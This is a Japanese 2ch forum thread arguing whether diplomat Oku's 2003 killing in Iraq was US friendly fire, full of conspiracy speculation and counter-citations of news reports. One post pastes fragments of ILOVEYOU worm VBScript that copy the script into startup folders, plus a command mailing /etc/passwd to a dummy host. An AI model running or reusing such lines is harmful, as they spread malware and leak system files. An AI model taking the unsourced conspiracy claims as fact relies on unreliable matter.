「奥参事官米軍誤射」ならば小泉は大悪人

1 ：05/05/10 〜 最終レス ：11/02/23

大量破壊兵器の嘘､フセインを穴倉で発見したのも演出、イラク人犠牲者も２万人どころではなく
１０万人超と言う。
収容所の虐待も隠しに隠し続けた。
奥参事官の撃たれた車両も完全公開しない。
嘘だらけの中で、不可解な奥参事官の件だけ信じろと言われても無理がある。

2 ：

そう言えば、葬式の時、小泉祝辞で嗚咽してたな。

3 ：

誠に失礼致しました。弔辞。

4 ：

ブッシュが電撃訪問した時の七面鳥？もロウ細工だったことがばれている。
また、小泉は横須賀の戦没者記念館のようなものには顔を出さない。
沖縄の時はテレビの前で嘘泣きをする。
松田聖子のような奴だ。

5 ：

>>4
伝説のレコ大受賞シーンでつか。

6 ：

特殊法人改革も結局､天下りを増やすだけでかえって悪くしました。

7 ：

野党もだらしない
国政調査権を発動して当該車両の検分をおこなうべきではないか？

8 ：

かなりの高さがあるランドクルーザーのボンネットを上から下へ、
ほとんど垂直に撃ち抜くなんてのは並みのクルマからでは不可能。
屋根上に銃座のある軍用車からの射撃と考えるのが常識だろう。

9 ：

このスレタイのセンスは信濃だな。
今頃なんでw

10 ：

純正信濃国民ならば、
「「奥参事官米軍誤射」でなくとも小泉は大悪人」
としたであろう。
まだまだ甘いな、ふふ。

11 ：

齋藤氏拉致でPMC/PMF（民間軍事会社）が注目されたけど
PMCは
1. 行動は複数の4WDと乗用車に分乗
2. 服装は私服（一部統一している会社もある）
3. 武装は、M4（M16系）のほか、AKなど。
4. 米軍車列の護衛など
5. 不審者は個人の裁量で、害も可。罪には問えない
（ニューズウィーク日本版に写真あり）
1. 奥さん襲撃車両は4WDなど複数の車両
2. 犯行グループは私服にケブラー製ヘルメットを着用
3. 武装は、分隊支援火器のRPK、AK47
4. 襲撃前後に米軍車両が通過
5. 警告射撃と思しき弾痕の他にガラス部分に集中した弾痕
　 テロなら、なぜかﾄﾄﾞﾒを刺していないなど疑問が。
以上の共通点が見いだせる
特に5.は、仮にPMCだと罪に問えない＝矛先が米軍に向く＝自衛隊派遣が猛反発喰らう
など不利益が考えられるんで、「地元武装勢力」をスケープゴートにしたと考えることもできよう
つまり、犯人は、広義の米軍、狭義の民間武装勢力という可能性もあるのか？
地元に米軍基地がある事も考えれば「地元武装勢力」と矛盾しないと政府が踏んだのか？

12 ：

どうも、藻舞等イラク戦争反対の香具師等の言い分はわかりにくい
イラクでは戦争やってるんだから、官民を問わず、危険はあたりまえ。
靖国の英霊にしても過半数は味方の銃弾との説もあるが、だからと
いって「名誉の戦死」にかわりはなかろう。なぜ、反米の銃弾で
奥参事官が亡くなられたら小泉さんは偉くて、米軍などの銃弾で
亡くなられると小泉さんが大悪人になるか、わかるように説明して
くれたまえ。

13 ：

市街散兵戦で同士打ちは、ごく当たり前な出来事
戦争で米軍がやったか否か判断できないが
戦争は、そういうものだ
いやなら、戦争しない政党を指示するか
日本人を止めるしかない

14 ：

米軍誤射じゃないので、小泉首相は大善人。

15 ：

誤射じゃないなら狙い撃ちか？
んなら、コイズミは大大悪人

16 ：

>>15
小泉首相の命令で奥参事官がされたという意味ですか？

17 ：

　　　　　　　　　　　　　　　　　　　　　　　　＼从人从＿人从人从＿从人从＿从人从人从＿从
　　　　　　　　　　　　　　　　　　　　　　　　≫ 妄想粘着罪　募金詐欺罪　買春罪は
　　　　　　　　　　　　　　　　　　　　　　　　≫ここで償うんだよ　
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　　　　 　 　 　 　 　 　 　 　 　 |　.|: 刑務 :|≫
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18 ：

　　　　　　　　　　　　　　　　　　　　　　　　＼从人从＿人从人从＿从人从＿从人从人从＿从
　　　　　　　　　　　　　　　　　　　　　　　　≫ 妄想粘着罪　募金詐欺罪　買春罪は
　　　　　　　　　　　　　　　　　　　　　　　　≫ここで償うんだよ　
　 　 　 　 　 　 　　　　　　　　　／|￣￣￣|≫　
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19 ：

　　　　　　　　　　　　　　　　　　　　　　　　＼从人从＿人从人从＿从人从＿从人从人从＿从
　　　　　　　　　　　　　　　　　　　　　　　　≫ 妄想粘着罪　募金詐欺罪　買春罪は
　　　　　　　　　　　　　　　　　　　　　　　　≫ここで償うんだよ　
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20 ：

米軍誤射の可能性について
http://wakahide.com/iraq_report.html
http://sports2.2ch.net/test/read.cgi/iraq/1085208955/-100

21 ：

このスレはイラク情勢板の良心であろう

22 ：

重複スレ気味だがな。ｗ

23 ：

>>22
重複って・・他にあるの？
http://sports2.2ch.net/iraq/subback.html

24 ：

>>23
仮説★大使館員をしたのは？★仮説【6】
http://sports2.2ch.net/test/read.cgi/iraq/1088361131/
　　↑（事実上の本スレ）
【外交官害】歴史的車両_亡失の危機!【廃棄処分】
http://sports2.2ch.net/test/read.cgi/iraq/1095922812/
　　↑（証拠隠滅問題に特化、といっても大差はない）
イラクで害された外交官の奥さんの…
http://sports2.2ch.net/test/read.cgi/iraq/1070615769/
　　↑（これは、奥大使の娘・千恵子さんのファンスレ）
外交官害は米兵によるものだった（激藁
http://sports2.2ch.net/test/read.cgi/iraq/1085208955/
　　↑（１０００達してしまったが、名スレ）

25 ：

ここが本スレっぽい予感

26 ：

本スレの予感

27 ：

もはや本スレ

28 ：

>>25-28
ならば、多少は「本スレ」らしいカキコをしたらどうだ。
さもないと、削除依頼出すぞ。ｗ

29 ：

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

30 ：

>>29
必死だな

31 ：

というか、小泉は、アメリカから一報を受けて、
アメリカが誤射、ないしは故意の工作で、奥らを
したのは、充分に承知していたと思う。
それで自衛隊を慌てて派遣したわけだし。

32 ：

どうも、>>12の香具師の言い分はわかりにくい。
このスレのどこに
「反米の銃弾で奥参事官が亡くなられたら小泉さんは偉い」
なんて言い分があるんだ？

33 ：

764 名前：あるやーばん ◆FVgZM7PrgI [age] 投稿日：2005/06/26(日) 16:01:39 ID:???
元記事によれば、駐留米軍の傭兵だった斎藤昭彦（負傷後死亡）の身柄を拘束した
武装組織「アンサール・アル・スンナ軍」の代表者も、会談に臨んだ、としてる。
参戦国の日本や英国の首相は、アメの「テロリストとは交渉しない」とする方針を、
子供のように忠実に守り、結果、若き香田証生さん、保護義務のあった斎藤、
ケネス・ビグリー氏（オレンジの囚人服を着せられ、小さな檻に入れられ、命乞いを
していた老人。最期は斬首・晒し首）らを見しにした。
つまり、今回の米国の「テロリストとの交渉」は、同盟国に対する明らかな背信行為
ではないか。また、どうして撤兵したフィリピン政府やスペイン政府を非難できようか。
《英語》http://www.abc.net.au/news/newsitems/200506/s1400745.htm

34 ：

>>28　なんでわかったのョ

35 ：

>というか、小泉は、アメリカから一報を受けて、
>アメリカが誤射、ないしは故意の工作で、奥らを
>したのは、充分に承知していたと思う。
ここまでソースもなんにもない妄想をどうやったら思いつくんだよ。

36 ：

>>35
この事件のあと、滞っていた自衛隊派遣が、急速に進んだ。

37 ：

それだけがソースですかい。

38 ：

>>31
>アメリカが誤射、ないしは故意の工作で、奥らを
>したのは、充分に承知していたと思う
いや、地元の米軍基地と契約した民間軍事会社＝地元（に展開する）武装（した民間軍事）勢力と聞いていた可能性はある
PMCは現在罪に問えない（実際誤写やりたい放題だし）から反発は半端ない
仕方なく、地元武装勢力とした可能性はある
ケブラー製ヘルメットに私服の武装勢力ってイラク人では考えられんがPMCならｱﾘだしな。
米軍車列の目撃情報とも一致（車両警護なら）するし

39 ：

>いや、地元の米軍基地と契約した民間軍事会社＝地元（に展開する）武装（した民間軍事）勢力と聞いていた可能性はある
ありえない。というか可能性はかなり低い。もし、アメリカ人の陰謀（これ自体がお笑いだが。）だったとしても、民間企業に頼むわけがない。
諜報戦に近い陰謀で、民間軍事会社にまかせるなんて、情報漏れが怖くて不可能だよ。国家的陰謀を民間にまかせるなんて聞いたことがない。冷戦華やかなりしころでも、
諜報戦は国家組織がやるものでCIAやKGBが民間にまかせたりするなんてありえないだろう。
それと米軍車列の目撃だが、これはすでに各メディアによって否定されている。
《ハッサン・フセインさん（４２）の目撃談，発射音を聞いて，見たら4輪駆動車が道をそれて畑に突っ込むように止まり，すぐ後から米軍の車列が通り過ぎて言った。》
が書くメディアにのってた情報なんだが・・・・。これがおかしいのよ。すでに。
なぜなら、米軍の車列は外交官の車が撃たれた後に、事件発生地点を通り過ぎた事になる。
外交官の車に併走して撃ったのは米軍の車列ではないということになり、誤射の可能性の否定にしかならない。
なにしろ弾痕はあきらかに併走状態で打たれていたし。米軍車列は時間的にもタイミング的にもあっていません。

40 ：

>>39
>ありえない。というか可能性はかなり低い。もし、アメリカ人の陰謀（これ自体がお笑いだが。）だったとしても、民間企業に頼むわけがない。
>諜報戦に近い陰謀で、民間軍事会社にまかせるなんて、情報漏れが怖くて不可能だよ。国家的陰謀を民間にまかせるなんて聞いたことがない。冷戦華やかなりしころでも、
>諜報戦は国家組織がやるものでCIAやKGBが民間にまかせたりするなんてありえないだろう。
おまえ何も分かってないな
PMCってのは一般人が就職できる職場ではないんだよ
各国の軍隊で相応の階級に行った実績がないと「就職の誘い」が来ないんだよ
米軍と契約する時点で本社が米英のOB企業しかない。
勿論、高給故に元CIAや元レンジャー等特殊任務に就いたことのある人材が多数供給される訳だから国家的陰謀であっても不自然さはない

41 ：

>各国の軍隊で相応の階級に行った実績がないと「就職の誘い」が来ないんだよ
>米軍と契約する時点で本社が米英のOB企業しかない。
>勿論、高給故に元CIAや元レンジャー等特殊任務に就いたことのある人材が多数供給される訳だから国家的陰謀であっても不自然さはない
わかってないのはお前さんです。ならば現役がいくらでもいる国家組織がやればいいじゃないですか？
情報強度がめちゃめちゃ心配なんですが。友好国の外交官を射するなんていう陰謀の中でもそうとうなれベルのものを民間委託？アホですか？
それにレンジャー部隊と軍隊で相応の階級にいったものしか誘いがこない？
兵士というのをまったくわかっていませんね。まず相応の階級と言いますが、どんな特殊部隊にすら、下士官レベルやもっとしたの伍長さんなどもいます。
そして軍隊は仕官、下士官、兵卒で動くんです。
よって民間軍事会社は軍隊を模した組織であり、傭兵部隊です、相応の階級のものしか誘いがこないなんて妄想です。仕官ばかりの傭兵部隊でも作るおつもりですか？
相応の階級ではなく、相応の実績という言葉が正しいでしょう。
一兵卒でも兵士として優秀であれば誘いはかかるでしょうし、まとめる指揮官が必要なら仕官に誘いをかけるでしょう。
相応の階級以上でないと誘いがこないなんて妄想です。
それと元ＣＩＡや元レンジャーを混同しないでください。ＣＩＡは諜報活動で、レンジャーはただの兵士です。
もちろんＣＩＡの人も軍事訓練はうけているでしょうが、兵士としての能力とは違う才能の持ち主でしょう。
傭兵部隊は大抵軍務経験者のあつまりですが、元ＣＩＡて人はほとんど聞いたことありませんな。

42 ：

>>40を信じる奴なんてまともな日本人にはおらんよ。
映画か小説の見過ぎだろう。

43 ：

>>39
>それと米軍車列の目撃だが、これはすでに各メディアによって否定されている。
問題は、その否定される為の確認すらとれていないことだがな
確証もなしに否定されてる訳ですか、そうですか
>《ハッサン・フセインさん（４２）の目撃談，発射音を聞いて，見たら4輪駆動車が道をそれて畑に突っ込むように止まり，すぐ後から米軍の車列が通り過ぎて言った。》
>が書くメディアにのってた情報なんだが・・・・。これがおかしいのよ。すでに。
>なぜなら、米軍の車列は外交官の車が撃たれた後に、事件発生地点を通り過ぎた事になる。
>外交官の車に併走して撃ったのは米軍の車列ではないということになり、誤射の可能性の否定にしかならない。
>なにしろ弾痕はあきらかに併走状態で打たれていたし。米軍車列は時間的にもタイミング的にもあっていません。
米軍の車列ってのはHMMWVの最高速度が105km/hだから通常は最高でも80km/hで走行することになる
一方、奥さんの方は前日の外務省OB森本敏へのメールで「治安上の問題から最高速度ぎりぎりの150km/hで走り抜ける」と明言していた
即ち、奥車両は米軍車列に後方から高速で接近し、警告射撃の後銃撃されながら追い抜き路肩に突っ込んだ物と考えるのが妥当
また、運転手の致命傷が右側頭部に受けた銃撃だったことから
最初の警告射撃で車内で跳ねた銃弾を頭部に受け運転が不能になったのであれば銃撃されながら追い抜いた理由となりうる
（運転手を処刑したという事実は外務省の報告書にもないし、車体右側からの入射はないことは公安部の調査から明らか）
また銃弾数も追い抜き時に掛かる時間から考えれば矛盾はない（この際、敢えてAK系ではなくFN MAGで想定すると更に矛盾が生じない）
では、なぜその時間帯通行することが事前に分かっていたのか、であるが、奥さんの行動計画は常にCPAに提出しているため、把握することは容易なのである
一方、武装勢力によるものとする外務省の報告書（元にしたとされる米軍の報告書は機密文書でないにも関わらず公表されていない）の場合、
前方を4輪駆動車が塞ぎAK47と思しき銃を発射していたとされるが、被弾数が極端に少なく意を持っている割にフロントガラスの被弾が極端に少ない

44 ：

>>42
齋藤さん拘束事件の報道くらい把握しておけよ
PMCからのメールが対象者に送られてくるんだけど

45 ：

>>43さん
残念ながら、軍用車両から打たれた。という前提がほとんど否定されているんですよ。
被害車両に３６カ所の弾痕　警視庁，外交官害で検証
　昨年１１月に起きたイラクの日本人外交官害事件で，銃撃された四輪駆動車には計３６カ所の弾痕があり，大半の銃弾は，ほぼ水平方向か下方から撃たれていたことが５日，警視庁の検証で分かった．
　軍用車両の銃座など高い位置から撃たれた形跡はなく，一部で指摘された「米軍誤射説」の可能性はほぼなくなった．四駆車には，奥克彦大使＝当時（４５）＝と井ノ上正盛一等書記官＝同（３０）＝ら３人が乗っていた．
　襲撃現場では，別の四駆車や乗用車など３，４台の車両が並走していたのが目撃されており，これらの車両から銃撃されたとすれば検証結果と矛盾しない．
　関係者によると，弾痕は左側の防弾ガラスとドア部分に集中．発射位置は１メートル程度の高さで，距離は５メートル以内と推定される．大半は水平方向か下方向から撃たれていた．（共同通信）[4月5日16時19分更新]
共同通信からなんですが、これでもお疑いですか？
まぁ、米軍車両の銃座からじゃなくて窓から手をだして打つって方法もないではないが。

46 ：

>>41
>わかってないのはお前さんです。ならば現役がいくらでもいる国家組織がやればいいじゃないですか？
>情報強度がめちゃめちゃ心配なんですが。友好国の外交官を射するなんていう陰謀の中でもそうとうなれベルのものを民間委託？アホですか？
国家が手を下したことが後々明らかになれば、それは国家の責任です
しかし、PMCを裁く根拠法は存在しない以上、秘密を保持できるOBにやらせる方が責任問題にもならないんだよ
奥さんの場合、公共工事の受注（日系企業が獲った）を巡って、米国の土木最大手の介入を阻止する（雑誌外交フォーラムより）等、CPA内でも目の上のたん瘤であったことは容易に理解できる
>それにレンジャー部隊と軍隊で相応の階級にいったものしか誘いがこない？
>兵士というのをまったくわかっていませんね。まず相応の階級と言いますが、どんな特殊部隊にすら、下士官レベルやもっとしたの伍長さんなどもいます。
>そして軍隊は仕官、下士官、兵卒で動くんです。
>よって民間軍事会社は軍隊を模した組織であり、傭兵部隊です、相応の階級のものしか誘いがこないなんて妄想です。仕官ばかりの傭兵部隊でも作るおつもりですか？
>相応の階級ではなく、相応の実績という言葉が正しいでしょう。
>一兵卒でも兵士として優秀であれば誘いはかかるでしょうし、まとめる指揮官が必要なら仕官に誘いをかけるでしょう。
>相応の階級以上でないと誘いがこないなんて妄想です。
憶測じゃん。おれは各種報道をもとにしてるんだよ。
大体、実績があったら昇級できるだろ。
日給が傭兵部隊と比べ物にならないPMCに経験のない人間を雇うと考えるのは幼稚だろ
傭兵部隊とPMC／PMFの違いを認識されていないようですね

47 ：

>>41
>それと元ＣＩＡや元レンジャーを混同しないでください。ＣＩＡは諜報活動で、レンジャーはただの兵士です。
>もちろんＣＩＡの人も軍事訓練はうけているでしょうが、兵士としての能力とは違う才能の持ち主でしょう。
CIAが諜報活動だけと思ってる時点で痛いな。諜報活動のメインは代理人を使うだけ。
実動部隊はきちんと存在するし
>傭兵部隊は大抵軍務経験者のあつまりですが、元ＣＩＡて人はほとんど聞いたことありませんな。
傭兵部隊とPMC／PMFの違いを認識されていないようですね（2回目）
ま、傭兵部隊で有名な（正規軍だけど）フランス外人部隊の場合、ソ連崩壊後は旧ソ諜報部員であるKGBのOBが大量に就職していたが

48 ：

関係ないけど奥さんって言うとなんかヘンだよな

49 ：

>大体、実績があったら昇級できるだろ。
士官学校出でないとなかなか仕官には実績があってもなりませんよ。わかってる？経験豊富な中年下士官っていくらでもいるし、軍隊の屋台骨なんですが。
戦果をあげればみんな仕官になれると思っているのはちょっと・・・。
>日給が傭兵部隊と比べ物にならないPMCに経験のない人間を雇うと考えるのは幼稚だろ
経験がない＝階級が低いではないことは上で述べたとおりですが。
>しかし、PMCを裁く根拠法は存在しない以上、秘密を保持できるOBにやらせる方が責任問題にもならないんだよ
ならいままで諜報活動でそういった組織が雇われたソースをだしてみてください。冷戦期でもかまいませんが・・・。
それと斉藤さんだって「下士官」でなかったけ？

50 ：

>>45
>被害車両に３６カ所の弾痕　警視庁，外交官害で検証
>（共同通信）[4月5日16時19分更新]
残念ながら、それは本来の意味の入射角ではない
人体のようなソフトターゲットなら入射後の屈折はほとんど無視できるが
車体のようなハードターゲットの場合、入射後に角度が大きく変化する。したがって、その報告書は入射角の分析ではないということになるんだよ
また、肝心の窓の銃痕については、実験等による確認をとらなかったんだが
フロントガラスの様に角度が変わればヒビの入りかたも変わってくる
下からなら傾斜のついたサイドのガラスのヒビは報道のような真円に近い形にはならないんだがね
右側面への到達数が少ないにもかかわらず、車内から銃弾は4発分しか見つからなかったことも注意
さらに、報道陣に公開したとき座席に布が掛けられていたんだが「遺族の心情に配慮して」だったんだが
よく考えれば座席に銃痕があった可能性が高い
被害者の被弾数の合計と右側面到達数を合計しても、36には遠く及ばない

51 ：

>>49
>士官学校出でないとなかなか仕官には実績があってもなりませんよ。わかってる？経験豊富な中年下士官っていくらでもいるし、軍隊の屋台骨なんですが。
>戦果をあげればみんな仕官になれると思っているのはちょっと・・・。
すまんが、俺が士官にならないと求人が来ないと書いてるｿｰｽはあるのかな？
PMCなんて1社じゃない。報道に出てきただけで�･、黒水なんかがあるけど、それらの基準が何れも同等とは言ってないぜ
>ならいままで諜報活動でそういった組織が雇われたソースをだしてみてください。冷戦期でもかまいませんが・・・。
ん？おれは諜報活動に限定してないぜ
暗が諜報活動ならレンジャーもΔも諜報部員ですかw
ちなみにグアンタラモで拷問作業しているのは、罪に問えないPMCも含まれています

52 ：

>>49
>それと斉藤さんだって「下士官」でなかったけ？
士官でないとPMCから求人が来ないって俺が書いたって言うならｿｰｽだせよ
お前、柘植やテレンスの見過ぎだろうw

53 ：

えー、テレンスは元傭兵なんだから合ってるんじゃないの？

54 ：

なんにせよ、イラクのアメリカ軍は、恐怖心にかられての誤射が多すぎる。
伊、米軍の責任を指弾　“誤射”事件で報告書
http://headlines.yahoo.co.jp/hl?a=20050503-00000080-kyodo-int
＜イラク＞ブルガリア兵士１人死亡　また米軍の誤射？
http://headlines.yahoo.co.jp/hl?a=20050307-00000117-mai-int
★ブルガリア兵の防弾着から米軍の弾丸　「友軍誤射」確実に
《英語》http://abcnews.go.com/US/wireStory?id=564733

55 ：

テレビのディレクター死亡　バグダッドで米兵が銃撃
http://headlines.yahoo.co.jp/hl?a=20050629-00000242-kyodo-int
　【カイロ２９日共同】ＡＰ通信によると、イラクの首都バグダッドで２８日、地元テレビ局
「アッシャルキーヤ」のディレクター、バクリ氏が米軍の車列に近づき、米兵の銃撃を
受けて死亡した。この１週間にバグダッド周辺で米軍に害された報道関係者は
これで３人目となった。
　同局は、バクリ氏が交通事故現場を通り過ぎようとした際、米軍に気付かなかった
ため、撃たれたと説明。米軍は事件の報告がないとしている。
　国際ジャーナリスト組織「国境なき記者団」（本部パリ）は米軍などに事件の調査を
要求した。
　バグダッドでは２４日にも、米系報道機関で働くイラク人記者が米兵に害された。
米部隊の警告に応じなかったためとみられる。
　また２６日には、地元テレビ局で働く女性記者が、米軍が武装勢力に反撃した際に、
撃たれて死亡した。
（共同通信） - 6月29日21時29分更新

56 ：

>すまんが、俺が士官にならないと求人が来ないと書いてるｿｰｽはあるのかな？
>PMCなんて1社じゃない。報道に出てきただけで・、黒水なんかがあるけど、それらの基準が何れも同等とは言ってないぜ
だったらすまない。「相応の階級」ってのは下士官も含むってニュアンスなんだね。
それだったら私のうけとめかたが違ったんだと思う。すまん。
>ん？おれは諜報活動に限定してないぜ
普通の傭兵活動としてならゴマンとあるわなそりゃ。友好国の外交官を撃ちすような陰謀に民間企業が関わっていたような事例はある？
って聞いたんだけど。どう考えたって民間企業に政権の命運をかけるような陰謀をまかすとは思えない。

57 ：

それと・・・。外交官が襲われたとき、ほぼ同時期に韓国人のエンジニアも襲われているという事実は無視ですか？
日本とほぼ同時期に襲われた韓国車両も窓の上部のほうに弾痕がついてるね
「車高の高い軍用車」からしか撃たない限り車体上部やランクルの窓に弾痕ができないんだったら，韓国人技師たちも米軍に襲われたことになるのだが？
この事件では，韓国人技師たちの生存者が「併走してきた車に撃たれた」と言ってる以上，普通自動車からでも角度を変えることで上方に命中させることは十分可能であるという結論しか出せない。
それと
これも共同通信だが、ソフトターゲットやハードターゲットの問題は解決した上で、入射角を調べていると思われる記事なんですが？
イラクで昨年１１月，日本人外交官２人が害された事件で，襲撃された四輪駆動車は，左斜め前方を並走している車から３６発の銃弾を受けていたことが５日，警視庁公安部が発表した検証結果で分かった．うち２２発は車内まで到達していた．
　また，銃弾の口径は旧ソ連製自動小銃「ＡＫ４７」（カラシニコフ）と同じ７．６２ミリと判明したが，銃の種類や数は特定できなかった．
　検証結果によると，車両はボンネットなど前部に４カ所，左前ドアに１４カ所，左後ろドアに１８カ所被弾．うち７発は車両右側まで到達．１発は車外まで貫通していた．
　このうち，撃ち込まれた角度が判明したのは１０カ所．最も低い地上７７．８センチの弾痕を除き，すべて１メートル以上でほぼ水平かやや上向きに撃ち込まれていた．
　こうした状況から，公安部は襲撃した車両との距離は４メートル以内，発射した高さは約１メートルと判断．並走する車の窓から撃たれたとみており，発射位置が標準で地上約２メートルとされる米軍車両からの誤射の可能性は低いとみている．（時事通信，4月5日16時0分更新）

58 ：

>>57
>それと・・・。外交官が襲われたとき、ほぼ同時期に韓国人のエンジニアも襲われているという事実は無視ですか？
無視してませんよ。翌日に起きたﾔﾂでしょ。
>日本とほぼ同時期に襲われた韓国車両も窓の上部のほうに弾痕がついてるね
>「車高の高い軍用車」からしか撃たない限り車体上部やランクルの窓に弾痕ができないんだったら，韓国人技師たちも米軍に襲われたことになるのだが？
そうとも書いてない。弾痕の形状についていってる
銃架使って撃っても窓下部のﾄﾞｱ部に矛盾無く当てることは他ｽﾚ過去ｽﾚで検証済み
韓国人技師の車両には実はルーフ部に弾痕（射出口）がなかったはずだけど
更に右側側面への到達数も奥さんのときと異なりより多かったんじゃなかったかな
>この事件では，韓国人技師たちの生存者が「併走してきた車に撃たれた」と言ってる以上，普通自動車からでも角度を変えることで上方に命中させることは十分可能であるという結論しか出せない。
ここで疑問が生じる。事件の翌日、米軍が警戒しているであろう日になぜ襲撃できたのか。
これは前の事件を隠蔽する為の工作と考えるのが普通だと思うが

59 ：

>>57
>イラクで昨年１１月，日本人外交官２人が害された事件で，襲撃された四輪駆動車は，左斜め前方を並走している車から３６発の銃弾を受けていたことが５日，警視庁公安部が発表した検証結果で分かった．うち２２発は車内まで到達していた．
>　また，銃弾の口径は旧ソ連製自動小銃「ＡＫ４７」（カラシニコフ）と同じ７．６２ミリと判明したが，銃の種類や数は特定できなかった．
判明したのは7.62mmってだけで、NATO弾か否かは成分分析にまわされた
で、結果はAKのものと矛盾しない（口頭で+議事録はあり）とされたが、一部一致しない物が出ている（曳光弾か？）し、AKありきなのでNATO弾との照合は行われていない

60 ：

>>57
>検証結果によると，車両はボンネットなど前部に４カ所，左前ドアに１４カ所，左後ろドアに１８カ所被弾．うち７発は車両右側まで到達．１発は車外まで貫通していた．
>このうち，撃ち込まれた角度が判明したのは１０カ所．最も低い地上７７．８センチの弾痕を除き，すべて１メートル以上でほぼ水平かやや上向きに撃ち込まれていた．
さて問題です。７発は車両右側まで到達しましたし、被害者の被弾数も2-3発であることが判明しています。貫通できなかった物があることを想定に入れても
7発は少ないのではないでしょうか
また、その前提で座面の被弾数について言及がない。というのも窓上部に複数の貫通孔がありながら右窓下部の到達数が3、上部貫通孔が1だったことから矛盾が生じる
ここから角度の割り出し方法が左ﾄﾞｱ→右ﾄﾞｱに到達したものとして銃弾の角度を割り出そうとしたものと捉えるのが正解
勿論、窓上部から右ﾄﾞｱに到達したものとして検証も可能だが敢えてしなかったことと、座面を隠したことから上部から撃たれた可能性は全く否定されていない
>こうした状況から，公安部は襲撃した車両との距離は４メートル以内，発射した高さは約１メートルと判断．
>並走する車の窓から撃たれたとみており，発射位置が標準で地上約２メートルとされる米軍車両からの誤射の可能性は低いとみている．（時事通信，4月5日16時0分更新）
更に、注意すべき点は、奥さんの被弾箇所である腹部の銃創についてだが、ロイター配信の映像には左斜め上から撃たれたときにしかあり得ないものとして写っている
左ﾄﾞｱに寄りかかっても水平にはとてもならないその銃創からも下もしくは水平から撃ち込まれたものとする断定はあり得ない
これを否定する根拠として考えられるものは、弾道がﾄﾞｱに当たったことで大きく変化したというものであるが、そうであるなら公安部の検証は大間違いであるということの証左になる
さらに奥さん井ノ上さんの死因の特定は行われたが、遺体の銃弾の入射角について全く検証されていないことも留意した方が良い
あと韓国人技師の容疑者を拘束されたとされる一報はあったが続報がないねw容疑者って誰だったんだろう

61 ：

>ここで疑問が生じる。事件の翌日、米軍が警戒しているであろう日になぜ襲撃できたのか。
>これは前の事件を隠蔽する為の工作と考えるのが普通だと思うが
普通じゃないだろう・・・。隠蔽のために韓国人まで襲うのか？
友好国の人間を二回も襲うかよ？

62 ：

>>61
>普通じゃないだろう・・・。隠蔽のために韓国人まで襲うのか？
>友好国の人間を二回も襲うかよ？
隠蔽工作って知ってるだろ。ニュースで大々的に取り上げられなきゃ意味がない
そういえば、友好国どころか国連の事務所の警備をなぜか手薄にして
ボムトラックを国連の事務所に横付けされ
占領政策に異議を唱えていたデメロ国連大使を爆死させちゃったりしてるし

63 ：

同時多発テロ翌日のニューヨークタイムズです。。
http://page.auctions.yahoo.co.jp/jp/auction/78559646

64 ：

>隠蔽工作って知ってるだろ。ニュースで大々的に取り上げられなきゃ意味がない
それはあんたの妄想以外にソースが存在するのか？

65 ：

>>64
もうそうだいすき
しなのこくみん

66 ：

逆にいえば韓国人にたいする攻撃を隠蔽だと！！！と言っているメディアが一つでもあるのか？
まともなところで。

67 ：

>>66
ないな。
記者や編集委員の私見で記事の傾向が変わるのはまだしも、
ここまで一方的な傾きをもっているというのは、
日本のメディアを見ていて本当に実感できることではある。

68 ：

>>64
これだけ大事になり、米軍が警戒しているのに翌日に同じ幹線道路でドンパチやらかすﾔﾂは居ない
そういう意図なら最初から米軍狙うだろ

69 ：

>>64
>それはあんたの妄想以外にソースが存在するのか？
文脈上ｿｰｽは関係ないだろ
隠蔽工作とはそういうものだ、と書いてる訳

70 ：

>>68
相手はアホのアラブ人だからねぇ。
逃げること以外に大して統制とれてないみたいだし。

71 ：

米軍以上のアホはイラクにはいないなｗ

72 ：

>>71
まあ、強いていうなら両方アホなわけだが、
お前以上のアホというか愚か者もいないと思う。

73 ：

思うだけかｗ

74 ：

>>73
じゃあ断定しておくよ。
自分で職につけなかったお馬鹿さん♪

75 ：

なんだ信濃粘着かよw

76 ：

>>75
ＩＤ出してどうしたの信濃？
ID丸だしで自演したのがバレたトラウマからずっと下げてたのに、
そんなことも忘れたの？

77 ：

>>70
>逃げること以外に大して統制とれてないみたい
外務省上村氏が調査したとされる報告書の目撃情報によれば
「後方から銃撃しながら接近」し
「前方、側面を合計4台ほどで取り囲み」、「ケブラーヘルメットをかぶった」武装グループが
「前方、及び側面から」「AK及びAKMを用いて」銃撃したとあるが
相当周到に計画されてるみたいだな
突発的襲撃として知られる橋田さんのときのような荒々しさはない

78 ：

>>76
なんかあったのか？

79 ：

>>77
信濃粘着に言っても無駄だって

80 ：

>>78
もしかして信濃粘着しらないの？

81 ：

>>80
>信濃粘着
田中康夫関連？
あんまり興味ない
ﾏｶ夫とか梅夫とかGKみたいなもんか？

82 ：

>>77
ブラジャーの中に無線機隠して政府軍将校の娼婦させてたような、
ベトナム戦争の北軍の統制とは比べようもないものだろう。
せいぜい、『普通』といったところか。

83 ：

>>75,76,79,80
流れ的には自作自演か
で、どっちが信濃粘着って設定なんですか？

84 ：

>>83
余程の初心者か確信犯でない限り、その質問はしない方がいいぞ。
どっちも自分に都合のいいことを言うだろうことくらい、簡単にわかるしな。
大抵の場合、質問に釣られる奴が悪者だったりするわけだが。

85 ：

>>82
>ブラジャーの中に無線機隠して政府軍将校の娼婦させてたような、
>ベトナム戦争の北軍の統制とは比べようもないものだろう。
それは、「統制がとれてる」の例ではないな
やり直し
4台で分乗し獲物を見るやポジションを確保。
野盜にしては大掛かり過ぎ
後方から150kmで走行する４WDに銃撃しながら接近し
4台で取り囲むという流れが現実的ではない

86 ：

>>81
まーだいたいそんな感じ
「信濃国民」ってコテハン（この人は厨じゃないよ）
に粘着してて、誰が書いても「おまえ信濃国民だろ」とか書いてくるうざい厨
オレにレス返してきた>>72>>74>>76それにおそらく>>70が信濃粘着

87 ：

>>86
了解
ま、スレ汚しみたいだからマジレスして清掃するのはマズいのね

88 ：

当板では、高遠さん関連のスレは、自治スレでの話し合いにより、
ひとつしか認められていません。
このスレも、高遠スレに変質したと判断します。
このスレには、削除依頼が出ています。
